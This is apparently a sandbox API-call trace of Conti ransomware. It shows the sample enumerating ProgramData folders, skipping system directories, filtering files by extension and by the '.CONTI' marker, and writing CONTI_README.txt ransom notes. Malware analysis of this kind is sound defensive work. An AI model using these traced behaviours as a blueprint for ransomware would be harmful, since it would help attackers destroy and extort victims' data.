	[0103.881] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpString2="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"
	[0103.881] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c23fa7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c23fa7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.881] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.881] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.881] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.881] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.881] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c23fa7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c23fa7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0103.881] GetProcessHeap () returned 0x1720000
	[0103.881] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c05e0 | out: hHeap=0x1720000) returned 1
	[0103.881] FindClose (in: hFindFile=0x17c7f30 | out: hFindFile=0x17c7f30) returned 1
	[0103.881] GetProcessHeap () returned 0x1720000
	[0103.881] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0b28 | out: hHeap=0x1720000) returned 1
	[0103.881] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0103.881] GetProcessHeap () returned 0x1720000
	[0103.881] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf128 | out: hHeap=0x1720000) returned 1
	[0103.881] FindClose (in: hFindFile=0x17c8570 | out: hFindFile=0x17c8570) returned 1
	[0103.881] GetProcessHeap () returned 0x1720000
	[0103.881] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d238 | out: hHeap=0x1720000) returned 1
	[0103.881] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2=".") returned 1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="..") returned 1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="tmp") returned -1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="winnt") returned -1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="Application Data") returned 1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="AppData") returned 1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="temp") returned -1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="thumb") returned -1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="$Recycle.Bin") returned 1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="$RECYCLE.BIN") returned 1
	[0103.881] lstrcmpiW (lpString1="SystemKeys", lpString2="System Volume Information") returned 1
	[0103.882] lstrcmpiW (lpString1="SystemKeys", lpString2="Program Files") returned 1
	[0103.882] lstrcmpiW (lpString1="SystemKeys", lpString2="Program Files (x86)") returned 1
	[0103.882] lstrcmpiW (lpString1="SystemKeys", lpString2="Boot") returned 1
	[0103.882] lstrcmpiW (lpString1="SystemKeys", lpString2="Windows") returned -1
	[0103.882] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31
	[0103.882] lstrlenW (lpString="SystemKeys") returned 10
	[0103.882] GetProcessHeap () returned 0x1720000
	[0103.882] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c14a8
	[0103.882] lstrcpyW (in: lpString1=0x17c14a8, lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0103.882] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0103.882] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\", lpString2="SystemKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys"
	[0103.882] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned 42
	[0103.882] GetProcessHeap () returned 0x1720000
	[0103.882] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0b28
	[0103.882] lstrcpyW (in: lpString1=0x17c0b28, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys"
	[0103.882] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\*"
	[0103.882] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned 42
	[0103.882] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.882] GetProcessHeap () returned 0x1720000
	[0103.882] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e39d8
	[0103.882] lstrcpyW (in: lpString1=0x17e39d8, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys"
	[0103.882] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\"
	[0103.882] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\CONTI_README.txt"
	[0103.882] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0103.884] GetProcessHeap () returned 0x1720000
	[0103.884] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e39d8 | out: hHeap=0x1720000) returned 1
	[0103.884] WriteFile (in: hFile=0x3c8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.885] CloseHandle (hObject=0x3c8) returned 1
	[0103.885] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8270
	[0103.885] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.885] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.885] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.885] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.885] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1
	[0103.885] lstrcmpiW (lpString1="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpString2=".") returned 1
	[0103.885] lstrcmpiW (lpString1="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpString2="..") returned 1
	[0103.885] StrStrIW (lpFirst="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".CONTI") returned 0x0
	[0103.885] StrStrIW (lpFirst="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch="CONTI_README.txt") returned 0x0
	[0103.885] StrStrIW (lpFirst="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".exe") returned 0x0
	[0103.885] StrStrIW (lpFirst="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".dll") returned 0x0
	[0103.886] StrStrIW (lpFirst="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".lnk") returned 0x0
	[0103.886] StrStrIW (lpFirst="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".sys") returned 0x0
	[0103.886] StrStrIW (lpFirst="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".CONTI") returned 0x0
	[0103.886] StrStrIW (lpFirst="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch="CONTI_README.txt") returned 0x0
	[0103.886] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned 42
	[0103.886] lstrlenW (lpString="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267") returned 69
	[0103.886] GetProcessHeap () returned 0x1720000
	[0103.886] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe2) returned 0x181b498
	[0103.886] lstrcpyW (in: lpString1=0x181b498, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys"
	[0103.886] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\"
	[0103.886] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\", lpString2="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"
	[0103.886] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c23fa7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c23fa7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.886] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.886] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.886] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.886] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.886] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1
	[0103.886] lstrcmpiW (lpString1="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpString2=".") returned 1
	[0103.886] lstrcmpiW (lpString1="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpString2="..") returned 1
	[0103.886] StrStrIW (lpFirst="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".CONTI") returned 0x0
	[0103.886] StrStrIW (lpFirst="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch="CONTI_README.txt") returned 0x0
	[0103.886] StrStrIW (lpFirst="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".exe") returned 0x0
	[0103.886] StrStrIW (lpFirst="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".dll") returned 0x0
	[0103.886] StrStrIW (lpFirst="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".lnk") returned 0x0
	[0103.886] StrStrIW (lpFirst="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".sys") returned 0x0
	[0103.886] StrStrIW (lpFirst="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".CONTI") returned 0x0
	[0103.886] StrStrIW (lpFirst="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch="CONTI_README.txt") returned 0x0
	[0103.886] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned 42
	[0103.886] lstrlenW (lpString="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71") returned 69
	[0103.886] GetProcessHeap () returned 0x1720000
	[0103.886] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe2) returned 0x17ca730
	[0103.886] lstrcpyW (in: lpString1=0x17ca730, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys"
	[0103.887] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\"
	[0103.887] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\", lpString2="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"
	[0103.887] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 0
	[0103.887] GetProcessHeap () returned 0x1720000
	[0103.887] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0b28 | out: hHeap=0x1720000) returned 1
	[0103.887] FindClose (in: hFindFile=0x17c8270 | out: hFindFile=0x17c8270) returned 1
	[0103.887] GetProcessHeap () returned 0x1720000
	[0103.887] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c14a8 | out: hHeap=0x1720000) returned 1
	[0103.887] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0
	[0103.887] GetProcessHeap () returned 0x1720000
	[0103.887] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d738 | out: hHeap=0x1720000) returned 1
	[0103.887] FindClose (in: hFindFile=0x17c82b0 | out: hFindFile=0x17c82b0) returned 1
	[0103.887] GetProcessHeap () returned 0x1720000
	[0103.887] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17345e8 | out: hHeap=0x1720000) returned 1
	[0103.887] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="DataMart", cAlternateFileName="")) returned 1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2=".") returned 1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="..") returned 1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="tmp") returned -1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="winnt") returned -1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="Application Data") returned 1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="AppData") returned 1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="temp") returned -1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="thumb") returned -1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="$Recycle.Bin") returned 1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="$RECYCLE.BIN") returned 1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="System Volume Information") returned -1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="Program Files") returned -1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="Program Files (x86)") returned -1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="Boot") returned 1
	[0103.887] lstrcmpiW (lpString1="DataMart", lpString2="Windows") returned -1
	[0103.887] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0103.887] lstrlenW (lpString="DataMart") returned 8
	[0103.888] GetProcessHeap () returned 0x1720000
	[0103.888] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x44) returned 0x173d288
	[0103.888] lstrcpyW (in: lpString1=0x173d288, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0103.888] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0103.888] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="DataMart" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart") returned="C:\\ProgramData\\Microsoft\\DataMart"
	[0103.888] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DataMart") returned 33
	[0103.888] GetProcessHeap () returned 0x1720000
	[0103.888] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d4b8
	[0103.888] lstrcpyW (in: lpString1=0x173d4b8, lpString2="C:\\ProgramData\\Microsoft\\DataMart" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart") returned="C:\\ProgramData\\Microsoft\\DataMart"
	[0103.888] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DataMart", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\*") returned="C:\\ProgramData\\Microsoft\\DataMart\\*"
	[0103.888] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DataMart") returned 33
	[0103.888] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.888] GetProcessHeap () returned 0x1720000
	[0103.888] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1740f10
	[0103.888] lstrcpyW (in: lpString1=0x1740f10, lpString2="C:\\ProgramData\\Microsoft\\DataMart" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart") returned="C:\\ProgramData\\Microsoft\\DataMart"
	[0103.888] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DataMart", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\") returned="C:\\ProgramData\\Microsoft\\DataMart\\"
	[0103.888] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\DataMart\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\DataMart\\CONTI_README.txt"
	[0103.888] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\datamart\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0103.889] GetProcessHeap () returned 0x1720000
	[0103.889] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740f10 | out: hHeap=0x1720000) returned 1
	[0103.889] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0103.890] CloseHandle (hObject=0x30c) returned 1
	[0103.890] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c4a23e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85b0
	[0103.890] lstrcmpiW (lpString1=".", lpString2=".") returned 0
